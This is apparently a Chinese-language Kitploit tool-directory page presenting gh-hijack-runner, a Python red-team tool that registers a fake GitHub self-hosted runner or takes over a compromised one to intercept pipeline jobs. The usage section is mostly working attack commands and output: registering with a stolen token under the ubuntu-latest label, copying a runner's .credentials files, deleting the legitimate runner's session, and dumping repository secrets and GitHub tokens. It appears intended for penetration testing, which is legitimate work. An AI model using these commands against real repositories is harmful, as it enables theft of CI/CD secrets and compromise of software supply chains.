Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
gh-hijack-runner — 一个用于创建伪造 GitHub Runner 并劫持流水线作业以泄露 CI/CD 机密的 Python 脚本。 | Kitploit
工具/GitHubGitHub/synacktiv/gh-hijack-runner
漏洞利用数据泄露渗透测试云安全供应链安全红队
GitHubsynacktiv/gh-hijack-runner

gh-hijack-runner

一个用于创建伪造 GitHub Runner 并劫持流水线作业以泄露 CI/CD 机密的 Python 脚本。

查看仓库
3351年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

gh-hijack-runner

一个用于创建伪造 GitHub Runner 并劫持流水线作业以窃取 CI/CD 机密的 Python 脚本。

更多详情请参阅以下博客文章:https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization

利用

如果你能获取注册令牌或在自托管 GitHub Runner 上实现远程代码执行,你就可以创建或接管一个 GitHub Runner,从而访问传递给该 Runner 的所有机密。

使用注册令牌,你可以注册一个带有 ubuntu-latest 标签的 Runner,从而获取原本由 GitHub 托管的 Runner 执行的作业。这样你就可以通过此方法入侵任何工作流。

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

安装

root@kitploit:~
$ pip install -r requirements.txt 

用法

通过注册令牌

如果你设法获得了为仓库或组织注册自托管 Runner 的注册令牌,你可以使用以下命令注册这个伪造的 GitHub Runner:

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest

这可以是组织或仓库的注册令牌。

通过现有 GitHub Runner 的凭据

如果你可以在自托管 Runner 上执行任意代码,你需要窃取以下三个文件,以冒充被入侵的 Runner:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root   root     266 Apr 21 12:27 .credentials
-rw------- 1 root   root    1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root   root     325 Apr 21 12:27 .runner
[...]

为了获取作业,Runner 会与 GitHub 建立一个会话。每个 Runner 只能维持一个会话。要创建新会话,你需要删除由合法 Runner 建立的当前会话。会话 ID 可以在以下位置找到:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.

/!\ 删除当前会话将导致合法 Runner 崩溃 /!\

然后,你可以删除当前会话:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.

最后,你可以劫持这个 Runner:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json                                                         
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

请注意,对于临时(ephemeral)自托管 Runner,此方法无效。

帮助

root@kitploit:~
$ gh-hijack-runner.py --help
Hijack GitHub runners                

Usage:
    gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
    

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    --output <folder>                       Save data to output file
    --runer-name <name>                     Runner name
    --runner-group <name>                   Runner group name
    --last-Message-id <id>                  Last message ID

Args:
    --registration-token <token>            Token used to register a runner
    --url <url>                             Full repository or org URL
    --rsa-params <rsa>                      Path to .credentials_rsaparams file
    --credentials <credentials>             Path to .credentials file
    --runner <runner>                       Path to .runner file
    --session-id <session>                  Already running session id
    --aes-key <key>                         Base64 encoded AES key associated with a session id
    --labels <labels>                       Labels used for registration (ubuntu-latest,customrunner)
    --ephemeral                             Create ephemeral runner
    --delete-session-id <session>           Delete session. Warning: It will crash the related GitHub runner
    

Examples:
    $ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
    $ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json

Author: @hugow

致谢

  • @karimpwnz 提供的 加密 方案
  • @0xn3va 提供的 会话删除 部分
  • @frichette_n 在 GitLab 上的 原始想法
下载工具